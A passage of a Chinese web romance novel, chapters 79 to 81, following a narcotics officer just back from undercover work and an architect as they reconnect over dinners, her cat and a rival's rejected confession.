“路上堵车,我来晚了,抱歉。” 她的声音清晰干净,拉开沈宗野旁边的椅子坐下。 第79章 第79章“你本来也不欠我。”…… 乔思嘉和江凛都很意外,也包括沈宗野,他以为梁然不会来。 他们都站起身迎接梁然,只有梁然很自然地入座。 乔思嘉简直激动坏了,这一刻她完全觉得梁然就是特意来给她撑场面的!她以为沈宗野刚才的走神是因为见到了梁然这么漂亮有气质的美女,颇有几分得意地给他们做着介绍。 “这是我闺蜜,梁然。” “这是江凛的发小,沈淮宗。” 梁然看着沈宗野:“哪个huai?” “淮雨的淮。”沈宗野迎着她的视线。 江凛说:“他爸爸有文化,是取的‘淮水色不污’的淮,开宗明义的宗。” “怪不得是个警察,听名字就很正!”乔思嘉最会接江凛的话,“沈淮宗刚办完案子回来,听说还拿了个二等功!” 梁然问沈宗野:“案子顺利么?” “顺利。” “你有受伤么?” “没有。” 梁然点点头:“那挺好。” 沈宗野问她:“你的工作会很忙么?” “最近都会忙。” 沈宗野点了点头。 乔思嘉偷偷瞟他们两个,有点意外他们自己能聊起来,凑近江凛嘀咕:“有戏?” 江凛只是挂着一抹深藏不露的笑。 沈宗野将菜单递给梁然:“你想吃什么?” 梁然翻看起菜单,加了一个菜。沈宗野按下服务铃,接过梁然手上的菜单。 他的手指有些粗糙,掌心和指腹多了已经愈合的伤痕,像是匕首划的,梁然不动声色收起视线。 江凛倒了一杯西瓜汁递给梁然,问梁然:“听说你也快过生日了,昨天淮宗刚过25岁生日,你是几月份?” “九月。” “哪天?” 梁然回答着江凛。 乔思嘉便问沈宗野:“你喜欢猫吗?” 沈宗野说喜欢。 乔思嘉:“然然就养了一只猫,叫葡萄,萌死了,特别乖!每次她那里阿姨不在家的时候她就抱到工作室来,我们公司的小女生们争着宠幸!” 沈宗野抿起笑。 这顿饭几乎都是乔思嘉和江凛的话最多,沈宗野与梁然没有再互相聊过,他们问一句,他俩才回答一句。 乔思嘉点了鸡尾酒和梁然喝,在沈宗野起身出去说上个洗手间时坐到梁然身边,说起悄悄话。江凛便也起身出去,主动把空间给她们。 乔思嘉笑:“怎么样,这男的是不是很绝?只可惜大拇指受伤了,不然真的是挺完美一个人。” 梁然红唇微抿。 乔思嘉:“你要是有意思就多说点话呗,或者你有什么想问的,我帮你问。” “没什么想问的。” “你介意他职业?” 梁然说:“是的。” 乔思嘉有些失望,不过也不强求:“没事,就当吃顿饭,你能来已经很给我面子了,我今晚在江凛面前多有面子呀!” 梁然一笑。 餐厅里座无虚席,这是南城一家很有情调的融合餐厅,有吉他手弹唱起音乐,大厅里保持着礼貌的谈笑分贝。 沈宗野结完账,在吸烟区抽起一支烟。 江凛走过来,沈宗野掏出烟递给他一只。 江凛:“喜欢上烟了?” “肌肉记忆吧。” 江凛在沈宗野递过来的烟头上碰了火,抽了一口烟说:“兄弟我不算坑你吧?” 沈宗野知道江凛是问什么,他微抿薄唇,淡淡一笑,看着窗外的街道。 “是我自己过来的。” “我知道你会来。” 沈宗野薄唇轻抿。 他今天听到江凛在电话里说起乔思嘉的闺蜜叫梁然时,才明白了江凛昨晚临走时说的那句他女朋友是个建筑设计师是什么意思。 对江凛来说,在第一次去接梁然,梁然问起他认不认识一个叫沈宗野的缉毒警察时,江凛就知道那时候梁然问的是沈淮宗。 江凛说:“嘉嘉也没想过她会来,但是她来了。淮宗,人生很多时候遇到的人和机会可能只有一次,你别错过了。” 对面街道上有从餐厅里出来的年轻男女,男生恣意张扬地搂着女生,眼角眉梢是那种明目张胆的喜欢。沈宗野有些羡慕地远眺着。 江凛十分理解沈宗野,看沈宗野淡笑的模样,江凛很是难受,从小到大的沈宗野为哪件事这么犹豫过,沈宗野做什么不是冲在前面,永远胆大包天,勇敢无畏。但江凛知道沈宗野在担心什么,沈宗野几乎给不了任何一个女性永远的承诺。 干缉毒的,哪天死在哪儿自己都不知道,怎么敢去祸害别人。 江凛想透彻,也不再鼓动沈宗野,吐出口咽说起:“我喜欢嘉嘉可爱,漂亮,还有偶尔聪明,时常犯蠢的脑子。你喜欢梁然什么?” 沈宗野想不到,不过想到了也不想再继续这个话题。 江凛失笑:“算了,不问你了。” 沈宗野却说:“我在一个毒贩那里见过一只流浪猫两次。第一回它缩在绿化带里,周围人来人往,没人理会那只猫。第二回是雨天,它被一个女生救了。” 江凛:“就是她?” 沈宗野点点头,将最后一口烟从薄唇呵出,摁灭烟蒂:“走吧,回去吧。” 包房里是梁然和乔思嘉的谈话声,两人碰起杯子,将最后一点酒喝完。 乔思嘉说:“回来了,去哪了这么久?” 江凛:“抽了只烟。” 梁然说:“还吃么?” 江凛说他吃好了。 梁然望向沈宗野。 沈宗野说:“我也吃好了。” “那走吧。”梁然拎着包起身。 沈宗野:“你喝酒了,我送你?” 梁然看着他,点点头。 到了车库,梁然走向她的车,沈宗野跟在她身后,她回身将车钥匙隔空抛给他,沈宗野忙接住。 梁然坐进副驾驶,系着安全带。 沈宗野坐上车。 梁然的车是一台奔驰AMGGT,方昭意送给沈宗野的车也是一台奔驰,但是价格和梁然的差了很多倍。 梁然点开回家的路线,沈宗野跟着导航走。 车厢里循环着梁然放的音乐,路灯的光影明明灭灭落进车厢,一段无声的路途被沈宗野低沉的嗓音打破。 他问:“回南城后你有遇到被疑犯骚扰或跟踪吗?” “没有。” “那就好。” 梁然问:“你的手掌怎么伤的到?” 沈宗野说:“毒贩划的。” 梁然:“结案时顺利吗?” “挺顺利。”沈宗野问,“陈沥周有没有找过你?” “半个月前还发过消息。” “半个月前?”沈宗野有些意外,他原本只是随口一问,他将车停在路边,“他和你说了什么,方便给我看下通话记录吗?” 梁然找出通话记录和微信聊天。 沈宗野目光深邃,翻看着陈沥周和梁然最近的聊天记录。 clz:「最近没有我的鲜花打扰你了」 梁然:「说这个做什么,你安全就行」 clz:「还要学习很久吧,我也不知道要多久,梁然,我也不知道」 clz:「有时间再联系你,可能会很长一段时间」 梁然:「OK,祝你学习顺利」 沈宗野:“我可以拍照吗?” 梁然有些发怔:“难道陈沥周遇到危险了?” “这个案子目前就一名毒贩没落网,我们怀疑陈沥周和这名毒贩在一起,但目前没有证据,一切只是推测。” 梁然紧张起来:“那他岂不是很危险。你拍吧,还需要我做什么?” 沈宗野:“你最近有播过他的电话么?” “没有,他在电话里告诉我他参加的商务学习比较严格,只能主动给我打电话。我助理前几天给他打过一次电话,没有拨通。” 沈宗野问:“你和他是什么关系?” 梁然看着沈宗野的眼睛:“朋友,再深一点就是他喜欢我。” 沈宗野的瞳孔似乎更深邃了。 梁然有些担心陈沥周,问沈宗野陈沥周到底会有多危险。 沈宗野说:“暂时只是我们的推测,没有实质性证据,也许他跟案子没有关系。” “他之前还说过他在「云上人间」看见你和一个泰国男人在一起,那个男人可能是害死他妈妈的凶手,那个泰国人抓到了吗?” “还没有,他很早就消失了。” 沈宗野拍完照,将手机还给梁然:“如果你下次再接到他的电话,请你跟我联系,第一时间告诉我。” “可以,把你手机号存上。”梁然将手机递给沈宗野。 沈宗野微顿,接过她的手机,按下一串号码。 车子继续行驶在夜色下的街道。 酒意上头,梁然有些微醺,降下车窗吹着这场盛夏的晚风。她看的是窗外,沈宗野在停车等绿灯时余光里看的是梁然。 她变得比在他身边时更朝气更明媚了,卷发很适合她,蓝色的裙子,音乐荡漾的车子,这座繁华的城市,一切都是这么适合她。 她应该是生活在这些美好之下的。 在最后一段平坦的大道上时,汽车即将驶入地下车库,梁然问:“我的出现有打扰到你办案吗?” 沈宗野微顿,低笑说:“没有。” “沈宗野,还是想跟你说声对不起,我想我应该是给你带去不少麻烦了吧。” “已经结束了,而且也不用说对不起。” 梁然微微抿唇:“抱歉,叫惯你沈宗野了。” “没关系,还在查最后一名在逃嫌犯,我暂时还叫这个名字。” “谢谢你。” 沈宗野看向梁然。 她说:“当面对你说一声谢谢,我就觉得应该不欠你什么了。” 车子拐弯驶进车库,沈宗野望着远处最后一抹夜色:“你本来也不欠我。” 梁然走下车,很自然地往电梯口走去:“去看看葡萄吧。” 沈宗野微微一顿,最终埋着头跟在她身后,没有拒绝。 电梯里,他们也没有再互相开口。 梁然刷开房门,葡萄一溜烟窜了出来。 猫咪像往常一样本来是冲她叫的,但这次好像早就知道沈宗野也来了,冲她叫了一声就围着沈宗野去了,爪子踩在沈宗野鞋上。 沈宗野弯起薄唇笑了,蹲下身拎起葡萄,喊它名字。 梁然轻轻一笑:“它还认得你,而且很想你。” 葡萄这只团宠猫在梁然的工作室里还很傲娇,想理睬人了才去找梁然的员工们玩,平时都不让大家摸它。现在半年过去了,它还记得沈宗野,允许沈宗野亲昵地把它抱到膝盖上。 沈宗野:“她好像活跃一点了。” “岂止。” “给她做过绝育了么?” “做了,当时她受苦了,我请了三天假陪她。” 沈宗野摸了摸葡萄毛绒绒的脑袋,看着梁然,自然也看到她背后宽大豪华的客厅。 梁然问:“你住在哪儿?” “南湖。”沈宗野说,“你自己住?” “嗯。”梁然取出一双一次性拖鞋,“南湖离我这儿挺远,你今晚可以住在我这里。” 她弯腰摆放拖鞋时,卷发从耳际滑落,她侧了侧脸,将头发捋到一侧的颈边。 她的脖颈白皙修长,锁骨分明,姜义划过的那条伤口没有留下疤痕。 沈宗野在梁然抬起头时移开目光,喉结轻滚。 “我开车走就行。” 梁然抿了抿唇,看着沈宗野,不再说话。 沈宗野所有的视线都在葡萄身上,他将猫咪放下,双手插进兜里:“你休息吧。” 梁然没有说话。 沈宗野背过身面对电梯。 电梯的开门声响起,又轻声合上,他走进去,微垂的眼皮只看着数字按键,直到两扇门彻底将他隔绝。 梁然望着紧闭的电梯门,晚风吹进光洁的长廊,她停在丝丝缕缕的风里,最终无声关上了房门。 沈宗野从一楼离开,穿进小区的花园。 梁然在落地窗前远眺着,青年的背影修长卓立,像以往的每一次一样融进这片暗夜,可他的脚步比以往每一次都要缓慢,最后停在一把长椅前。 他在那里坐下,抬头看向这边。 遮掩的窗帘看不到梁然,也看不到屋里的灯光,梁然本来就没有开灯。 她站在这片漆黑里,看着楼下高大的,像迷失在夜色里的身影。 他抽着烟,烟头一点星火隔着夜色发出极弱的微光。 时间过去了很久,是十分钟,还是二十分钟。 沈宗野最终还是走出了花园,身影消失在夜色中。 梁然关上窗帘,走进衣帽间里换下衣服,去盥洗室洗澡。 水流盖住了她心脏无比清晰的跳动。 直到门铃声忽然响起,手上的护肤精油被铃声惊动,掉落在盥洗台上。白皙的指尖上晶莹跌宕,是荧荧点点的星辰。梁然在间歇却不止的门铃声里,望向镜中意外却明媚的人。 她无声勾起红唇,穿好吊带睡裙,在门禁屏幕里看见青年英隽的身影,将房门打开。 沈宗野看着她,拎起手上的袋子。 “起风了,我给你带一杯热饮。” 梁然轻轻弯起唇:“谢谢。”是她常买的那家糖水铺,也是她最常点的那一杯,“店主推荐你买的?” “没有,我看了下这个比较适合你,随便买的。” “你是怎么进来的?”梁然知道这里的门禁很严。 沈宗野说:“店主说和你算是朋友,带我进来了,她看见我开车送你回来。” 梁然点点头。 沈宗野看着她,说:“我车停得太远了,方便的话我开你车走吧。你是几点上班?明早我来接你上班?送你去公司再去取我的车。” 他在询问,也是等候。 梁然弯起唇笑了:“九点上班,我一般八点半出门。” 沈宗野点点头,接过梁然的车钥匙:“明天见。” 梁然微笑:“明天见。” 第80章 第80章“今晚你住我这儿吧。”…… 天际蒙着烟青色的阴云,降下丝丝缕缕的细雨,新一天的开始是一场雨天,像南城三月的绵绵阴雨,也像梁然第一次遇见沈宗野的那天。 沈宗野在八点就到了梁然门口,但他没有敲门。 梁然还不知道他已经到了,是阿姨说:“真奇怪,门口有个男的一直站着。” 梁然忙打开房门,修长挺拔的青年立在明亮的长廊上。 沈宗野穿着一件藏青色衬衫,笔直的长裤,毫不掩饰的松弛感在他身上是相得益彰的英俊。 他说早上好。 梁然也说早上好。 她拿出昨晚那双一次性拖鞋:“你吃过早饭了么?” “还没有。” “先吃早饭吧。” 沈宗野换鞋进来。 阿姨虽然不认识他,但也很礼貌地对他笑着打招呼:“您好。” 沈宗野说:“您好。” 梁然对阿姨说:“我朋友。” 她对沈宗野介绍:“照顾我的季阿姨。” 葡萄非常欢迎沈宗野,早就喵呜叫了,从滑滑梯上嗖地滑下来抓他裤腿。 沈宗野摸了摸它顺滑的毛毛。 旁边的季阿姨眼神一下子就亮了。 连猫都当主人的男人?那一定不一般。 季阿姨转身去盛饭忙碌。 梁然领着沈宗野穿过岛台:“洗个手吧,吃完饭就可以出发了,工作室离得不远,但早高峰会有些堵车。” “嗯。” 整个早餐,两人都没说什么话。 餐厅旁的落地窗外可以看见南城最繁华的经济中心,不管是夜晚还是白天景色都很美。窗外的雨飘在风中,像剪不断的线。 沈宗野开车将梁然送到工作室,在梁然的车位停下。 梁然问:“你怎么去取车?” “打个车走。” “你上班会迟到吗?” “局里最近给我休了假。” 梁然点点头:“葡萄最近有点拉肚子,不知道是不是新的猫粮不适应。” 沈宗野问:“驱过虫吗?” 梁然:“嗯。” 沈宗野说:“那我带她去医院看看?” 梁然说:“行,密码是559027。” 沈宗野点头。 直到他带着葡萄从宠物医院走出来,穿进雨幕的时候,还是没想明白现在这一切是怎么发生的。 沈宗野开车回到梁然的家,葡萄跳出篮子,像一只踢飞了的球。 季阿姨依旧礼貌地和沈宗野打招呼。 “沈先生,葡萄是什么问题,检查出来了吗?” “没什么问题,一切正常,可能是水喝多了。” 季阿姨笑:“那就好,有问题您都可以跟我交代。” “谢谢。” “那我这边就先下班了,我跟然然请过假了。” 季阿姨平时都是做完晚饭,陪过葡萄,等梁然下班回家才走,但今天可爱的中年妇女觉得她可以偷个懒,反正雇主也批了。 沈宗野点点头。 季阿姨又告诉沈宗野如果要用厨房的话哪里应该怎么用,浴室的热水从哪个方向出,小区的管家可以提供哪些服务,交代得事无巨细。 直到偌大的客厅里只剩下沈宗野一个人站在落地窗前,沈宗野还是有些想不明白,此时此刻,他是不是不应该站在这里。 这场雨以温柔的姿势收场,空气里弥漫着扫尾的湿润雨雾。 梁然的电话打进了家里的座机上。 沈宗野都快在沙发上睡着了,被电话惊醒,撑起靠坐的身体走到座机旁,在看见是梁然的号码时才接起。 “喂,是你么,沈宗野。” “嗯。”沈宗野嗓音低沉。 “葡萄还乖吗?” 手机这头,梁然弯起红唇,起身拉下办公室的百叶窗,楼下格子间里忙碌的员工都挡在窗叶外。 听筒低沉的嗓音磁性悦耳。 沈宗野说:“她没问题,在荡秋千。” “那你呢?” “刚和同事打电话聊案子。” 梁然点点头:“还得请你帮个忙,我有个蓝色的U盘忘记带过来了,等下开会要用,我就不回来取了,你帮我送来吧?” 沈宗野说:“行,你放在哪儿的?” “应该在我书房,不在的话就在我卧室,我打电话时随手放在哪儿了。” 沈宗野用手机回拨给梁然,去了书房:“哪个抽屉?” 他跟随着梁然的话拉开抽屉,但没有找到。 梁然的书房墙上挂着几幅画,水彩颜色偏蓝调与冷调,她的书架上书籍很多,办公桌很干净,没有U盘的影子。 沈宗野说:“打视频吧。” 梁然说:“我没有你微信。” 沈宗野微顿:“我加你,还是那个号?” “嗯。” 沈宗野重新添加了梁然。 她很快拨来视频。 她坐在办公桌前,手上有一杯咖啡,手机应该是放在支架上,看着视频里的他说:“你去卧室找找。” 沈宗野走进梁然的卧室。他今天留在这里也仅仅只是坐在客厅,还没有主动参观过哪里,自然更不会进她的房间。 梁然的卧室里全都充盈着她身上的香水气,沈宗野像在这场盛大的夏日穿行在一片开满玉兰的寂雪中。 梁然说:“看看床头有没有吧,那天打完电话可能丢在床头了。” 沈宗野的视频对准床头的位置,问梁然是哪个抽屉,他绅士的礼貌像是虔诚信徒毫不触犯道德之外的领地。他越小心翼翼,越与那个粗暴冷恣的沈宗野不同。 而梁然面对他耐心的等待,越想撕扯他绅士的皮囊。 她淡淡说:“不记得了,你自己找找吧,在枕头下看看呢。” 画面停顿了片刻,沈宗野拿起她床上的枕头,见床上没有,又弯腰拉开她床头的抽屉,里面是有些时候从饭局上回家太晚,梁然随手摘下的手链或者项链。 他又拉开第二层。 梁然忽然才想到第二层是什么,可再想出声制止已经来不及。 画面在这一瞬间停滞,像是网络信号的卡顿,有短暂的两秒才重新跳动到别的画面。那双骨节分明的手合上抽屉,光线折过手背上青色的筋络。 “找到了,掉在柜子旁边的缝隙了。” 冷静的嗓音驱走梁然那股僵凝的尴尬,不过也无所谓,她本来就是个成年女性,解决自己的需求很正常。 沈宗野说:“那我现在给你送来?” “嗯。”梁然切断视频。 沈宗野擦拭掉U盘上的一点灰尘,起身时视线从那格抽屉掠过,他的眼眸深邃,重新勾起金属把扣,滑轮滚过轨道将抽屉倾开,里面是几种体外的玩具。 骨节修长的手指将抽屉合上,沈宗野穿过这片开在寂雪上的兰,走进厨房,从冰箱里拧开一瓶水,冰镇过的液体滑入喉中。 沈宗野将U盘送到梁然公司的车库。 梁然下楼,跟着电话找到沈宗野的车。 她走向他。 有汽车从她身后驶来,车灯穿透她白色的衬衫,将那一抹远山起伏般绚丽的曲线伸展又折起。 沈宗野降下车窗,将U盘递给梁然。 梁然说:“上去坐会儿,忙完了我请你吃饭。” 沈宗野说:“我在车上等你。” 梁然微微抿唇:“行。” …… 这顿晚饭是他们分别之后重新坐在一起吃的第一顿单独的晚饭。 餐厅在南城最高的大厦,临着窗,能眺望见繁华林立的城市高楼和远处湖海。 餐厅的东西不是很好吃,只是摆盘精美,环境雅致,相比食物,周遭清幽的环境远胜过品尝。 沈宗野说:“你平时都吃这些?” “也不是,平时在家里吃季阿姨做的饭。”梁然回着。 她想起了大鱼的厨艺,人总是对味道和气味记忆犹新,她说:“之前我还猜过大鱼会是那位四叶草,他现在也入狱了吗?” 沈宗野只是淡淡笑了下,大鱼被他留在宁城还有作用,这些细节都在案情的范畴,他不会打破他的规则。 梁然便抿了抿笑:“他的厨艺很不错,很可惜。” “不可惜,他们罪有应得。” 梁然忽然沉默了会儿,她问沈宗野:“当初我是不是要由宁城警方带到宁城审,由宁城的禁毒局遣返?” 沈宗野:“为什么问这个?” “是你让他们来带我回南城的,是吗?” 沈宗野笑了下:“你本来就是南城户籍。” 沈宗野笑的时候和卧底的状态截然不同,卧底的他笑起来时眼眸是冷的,眼底没有一点温度,而现在的他笑起来时薄唇略往上扬,眼底也有笑意。可是梁然还是觉得有一种陌生与虚假,在她面前,他的笑好像浮露于表。 梁然知道是沈宗野在保护她。 从她靠近他身边,到他知道她的身份,将她送回南城,他一直都在保护她。 面对他这样的笑,梁然忽然有一股无名的火,她敛了笑,连嗓音都清冷:“沈宗野,你现在还在卧底吗?” 沈宗野对她的话有些不解。 “在我面前,你还在卧底吗。” 他一时冷静下来,敛了笑。 梁然起身说:“吃好了,我去结账。” “我去吧。”沈宗野起身走去收银台。 梁然去了电梯口。 电梯门打开后,她径直走进电梯,沈宗野也无声站到她身旁,按下车库的楼层。 今晚开的是他的车,梁然坐上副驾驶。 沈宗野说:“送你去公司取车,还是将你送回家?” “回家吧,葡萄单独在家我不放心。” 沈宗野驶向梁然的家。 这一路两人都没有说话,直到车子在梁然的车位上停下,梁然才问起葡萄:“医生有给葡萄开药吗?” “开了药。” “嗯,你告诉我怎么喂。”梁然下了车,直接走进电梯。 沈宗野埋着视线跟在梁然身后。 他沉默寡言,像尾随于她的影子。 梁然将房门打开,拿出新的一次性拖鞋,弯腰时衬衫微敞的领口春光倾荡。 而沈宗野也刚好俯身去接那双拖鞋,视线毫无预兆与春相撞。 梁然看着他,微垂的睫毛卷翘轻颤。 沈宗野挪开视线,抬起修长的脊背,穿好鞋走开。 梁然望着他的背影,忽然就有些好笑地勾了勾红唇。 她的心情好像今天的天气,白昼是阴雨,此刻是雨过天朗。 梁然在家里给葡萄单独装饰了一间房当做葡萄的小窝,葡萄平时还挺听话,大小便都会在猫砂盆里解决,一直都是一只爱干净的小猫。 梁然进房间清理了猫砂盆,平时有季阿姨在走之前清理,今天季阿姨请了假。梁然平时也常在晚上自己给葡萄清理,是一个称职的铲屎官。 沈宗野从她手上接过猫砂盆:“我来吧。” 梁然没拒绝,看他骨节分明的手指忙碌,他做这些耐看到像是一幅画。 直到沈宗野回头时,梁然仍盯着他的手看。 沈宗野以为她看的是掌心那些疤。 梁然说:“我能给你画一幅画吗?” 这样的要求她以前也提过,但是那时的沈宗野拒绝了。 现在,沈宗野同样说:“我不喜欢画画。” “我只画你的手。” 沈宗野微抿薄唇,迎着梁然的视线,柔和的灯光铺在她眼底,她的眼睛干净明媚。 沈宗野答应了。 但他不知道要做什么动作才能自然地配合梁然。 梁然说:“你不需要做什么。” 沈宗野就站在了露台,梁然坐在画板前,迎着潮湿的夜色落笔。 一个小时后她画好了,就真的只是画了手部。 画上是一片明暗过渡的黑夜,那只骨节分明的手悬在栏杆上,画框边缘只勾勒出身形一角。这只手慵懒地搭在这片夜色里,半根残疾的拇指在她笔下是温润的弧度。但她没有加上他手腕上的那块表,而是将表画成了一圈圈沉香珠串,玻璃一样的蓝色翡翠点缀其间。 梁然将照片拍下,发到沈宗野的微信上。 他的微信名字是一个“淮”字,头像是一片湛蓝的海岸线。 梁然想起了他以前的微信名字。 “绿野有什么意思吗?” 沈宗野看了她一会儿:“以前抓犯人的时候在野外常看到一望无际的绿野。” 那是连绵无尽的绿,绿色盎然,激荡,给人无比宁静的洗涤。青草是有气味的,是大自然原始的味道,会勾起人的野望。 那片绿野上,太阳会坠下,会升起。 月亮会升起,会隐匿于云层,但是不会坠落。 梁然问:“那应该是枯燥的案子里唯一一点野趣?应该能看到花开,雨露滴着光,或者有蝴蝶飞过,太阳落在你身上。应该很美,是吗?” 沈宗野笑了。 她说的每一句都是他深刻的记忆。 梁然说:“那月亮升起时,也会很美。我在一片绿野写生,画过一幅绿野尽头的湖泊。那副画我拿了奖,叫《绿野之冰》,我找给你看。” 她把那副画的照片发给沈宗野。 那是月亮升起的夜晚,夜是神秘的墨蓝色,被月亮点亮,绿野之外有似水似冰的湖泊,笔法太梦幻,湖泊远得像起舞的蝴蝶。 沈宗野说:“很好看。” 梁然弯起红唇。 即便是在可以任意描绘的画里,月亮也不会坠落。 沈宗野保存了这张画。 梁然说:“你在南湖哪里住?” “东景壹号,一个临湖的小区。” 梁然点点头:“我知道。你过去有点远,今晚你住我这儿吧,我车也在公司,你明天送我去上班。” 沈宗野微顿片刻:“我晚上要回局里。” 梁然的眼神冷了下来。 她安静地看着沈宗野。 沈宗野说:“有个案子,我十一点回去对个资料。” 梁然依旧没说话。 沈宗野忽然不知道如何跟她解释,他的确是有案子。 梁然不再开口,转身走出露台。 沈宗野从身后跟上她。 梁然突然回身,沈宗野撞在了她身上。 “抱歉。” “第一次的雨天,你也是对我说的这句话。” 梁然抿了抿唇,穿过客厅走进卧室。 沈宗野在露台卷起的晚风里站了一会儿,无声换下拖鞋走出房门。 他驱车回到局里。 加班的同事等到他回来,都如临大赦,纷纷躺回椅子上摆起烂。 沈宗野理着案子,查起档案卷宗,紧抿薄唇埋进工作里。 桌上的咖啡续了一杯又一杯。【你现在阅读的是魔蝎小说 moxiexs】 80-90 第81章 第81章仰视月亮的奢望 梁然第二天坐在餐厅吃早饭时,听到了门铃的响。 杯子里的牛奶被她放下,她起身准备去开门。 季阿姨先她一步,透过门禁看到外面的人,笑着说:“是林先生。” 梁然的脚步有些停顿。 季阿姨打开房门,林甄站在门口,手上抱着一幅包装好的画。 梁然说:“你怎么来了,这是?”她才想起来这是梁悦的画,梁悦上个星期说哪天让林甄帮她带过来。 林甄说:“你想起来了,是悦悦让带给你的画。” 林悦暑假要来梁然这里,但最近舞蹈班还没放假,林悦已经期待得坐不住了,就提前托林甄先将她画的画送到梁然这里先挂好。 画是林悦画的葡萄,林悦很喜欢葡萄这只猫。 梁然要来接画,林甄说有些沉,没让她过手。 梁然等他放好画说:“你吃过早饭了吗?” “还没。” 梁然让林甄先进屋吃早饭。 她去取一次性拖鞋,季阿姨还没有收走沈宗野昨晚留下的那双,林甄的视线不免多扫了一眼。 梁然说:“太麻烦你了,你这么早来南城,开车来的?” “不麻烦,顺路的事。我开车去刑警大队报道。” 梁然微怔:“你转业了?” “嗯。”林甄笑了笑,“警官的梦想既然已经圆了,就继续做个正义的刑警吧。” 梁然说:“你能过考试也很有能力,祝贺你。” 梁然忽然在想,不知道沈宗野是因为什么原因做的缉毒警察。 林甄是因为小时候有个警察的梦想,青少年时期的心气也高,不顾家里劝阻报了最危险的禁毒部门。他现在圆过梦了,重新有了成年人理性的选择,可以走一条回头的路。 梁然说:“你顺路的话等会儿送我去公司吧。” “OK。”新的工作让林甄格外高兴,笑着吃起早餐。 梁然将手机微信打开。 没有新消息。 她收起手机,在林甄吃过饭后和他一起上了他的车子。 保时捷驶出地下车库时,沈宗野的车正好驶入车库入口。 两辆车在门禁处相遇,沈宗野看到了副驾驶的梁然,梁然也看到了他。 林甄自然也看见了沈宗野,将车停下。 梁然降下车窗。 沈宗野望着她,那只握在方向盘上的大拇指似乎因为用力而泛起扭曲的、残疾的痉。挛。 他浮起笑:“我是想着来接你去上班,有人接你就行。” 他驶向前方,拐离梁然的视野区域。 “走吧。”梁然安静地说。 林甄一句话也没有问。 直到将车开进工作室楼下,林甄才偏头紧望梁然。 “你喜欢上这个男人了?” 林甄的脸上有不解,有愤怒。青年的脸是那种端正的长相,眉眼五官都有一种平和流畅的帅气。这张脸梁然从小看到大,很少见到此刻这种愤怒的情绪。 梁然说:“和你无关。” 林甄说:“他是一个缉毒警察,你说过不会再找干缉毒的职业!” “我也没有找。” “小真,你能不能看看我?”林甄紧望着梁然,“我已经换工作了,如果你不喜欢我现在的工作,我可以去投资去创业,去做别的,我已经不会给你带来危险了。大不了我们雇佣保镖,我一定能给你安全感。” 梁然是不喜欢林甄了,可她也并不会嘲笑一个人真挚的喜欢。 她很平静地说:“林甄,安全感不是职业给我的,也不是保镖给我的。我们之间已经做了很多年的朋友,还是继续做朋友比较好。” “那为什么他就可以?” 林甄很是愤怒,胸口在急促的气息里起伏:“他的手指是七级伤残!他办完这次的案子在医院抢救了一个星期!他随时都会有各种预料不到的危险。你能选他,为什么不能选我?” 梁然抬起眼睫盯着林甄。 她才知道沈宗野还被抢救过。他什么都没说,那天的包间里一身英正地站在她面前,她以为他真的很顺利。 梁然说:“我没选他。” “那为什么他会去接你上班,能进得了门禁。”如果不是梁然自己报了管家登记过,沈宗野怎么可能堂而皇之地驶进那个停满豪车的车库。 梁然抿了抿唇:“我确实不会选择一个职业风险系数这么高的人作为我的伴侣,但是不管我最后选择谁,都是我的自由。” “林甄,我们之间在大二那年就已经结束了,我并不记恨你带给我的风雨。我爸爸的案子我很感谢你,还有你和阿姨对悦悦的照顾,我都很感激,但是感激并不能成为改变感情的理由,我只把你当朋友。” 林甄此刻很痛苦,他比梁然大三岁,小时候把她这个妈妈闺蜜的女儿当成漂亮的妹妹,直到青少年时期有了懵懂的悸动,喜欢上她。 他喜欢了梁然很多年,大概是从她十五六岁到现在。 “我很后悔如果我入职禁毒局的那年毅然选择辞职,我们之间就不会是这样。小真,再给我一次机会,让我重新以新的身份来喜欢你……” 梁然已经将话说得很明白了。 她觉得她不欠林甄,只是林母对梁悦和她太好了,如果说要亏欠,那也只是她欠林母而已,不想伤害阿姨唯一的儿子。 “如果你要这样,也许我们做不了朋友。”梁然打开车门离开。 她这才发现乔思嘉站在电梯口探着脑袋张望,见到她过来忙看一眼她身后林甄的车子,悄咪咪说:“诶,林甄怎么回事啊,他表情好像很痛苦?” 梁然没隐瞒:“他向我表白,我拒绝他了。” 电梯门打开,梁然进了电梯。电梯间里还有人,两人没再聊下去,直到回到办公室,乔思嘉才继续说起。 “我感觉林甄也蛮痴情的,他不是在怀城么,来南城办案子啊?” “他不干缉毒了,换了刑警的工作。” 乔思嘉非常震惊:“为了你换的?” 梁然不太想继续这个话题,说到底林甄一直在帮她,她并不想伤害林甄。 乔思嘉问梁然:“你有和沈淮宗联系吗,要不要今晚我们再聚个餐,一起吃个饭?” 梁然说:“好啊,你先安排吧。” 乔思嘉很意外,也很兴奋:“包在我身上!看来这个男的是有点魅力,你都开始能接受他的职业了!” 梁然不是接受了沈宗野的职业,她只是觉得他们之间不该止于宁城。 为什么他受了伤只字不提,为什么再次相见的那天晚上他要在楼下徘徊这么久,为什么他可以帮她照顾葡萄,可以在今天早上赶来送她上班。 梁然想问他,为什么。 傍晚时,乔思嘉选了一家清吧聚会。 江凛如约到了,但身边没有沈宗野的身影。 乔思嘉:“你发小呢,还没下班呀?” “他有案子,今晚没法过来。”江凛看了梁然一眼,这样解释。 他这一眼有些深意,梁然不知道沈宗野是因为早上见到林甄才没过来,还是真的是忙案子。 “那你为什么不先告诉我,然然晚上还有图要画。”乔思嘉和江凛置气。 “没关系,我也要先吃饱才干活。”梁然打圆场。 乔思嘉问江凛:“你们队今天报道了个新人,叫林甄?” 江凛有些意外:“你怎么知道?” “他是然然的前男友。”乔思嘉无辜地耸耸肩。 聚餐结束后,梁然等乔思嘉和江凛走后,打开沈宗野的微信。 他的朋友圈里很干净,一条原创的动态也没有,全部都是禁毒官方的文章转发,上一条是两周前,再上一条就是一年半之前。 梁然给沈宗野编辑消息:「我喝酒了,不能开车,你来接我一下吧」 消息发出去,她附带上定位,不再说别的话。 梁然有一种笃定,沈宗野会来。 直到两分钟后,沈宗野回她:「好」 梁然摁灭屏幕,按铃叫来服务生又点了一杯单枞茶梅酒。 这种度数低的梅酒微涩,单枞茶的兰香格外清冽,不会醉人,但会有微醺上头的滋味,比刚才和乔思嘉喝的朗姆酒要愉悦。 梁然像个认真研究怎么酿酒的好奇学徒,一动不动盯着杯子里的酒晃动,看着玻璃杯里碎光闪闪的波纹。 直到一个很年轻的帅哥坐到她对面,笑着低头看她:“嗨,你一个人?” “一起吗,那边是我同学。”他指了指旁边那桌的两个男生。 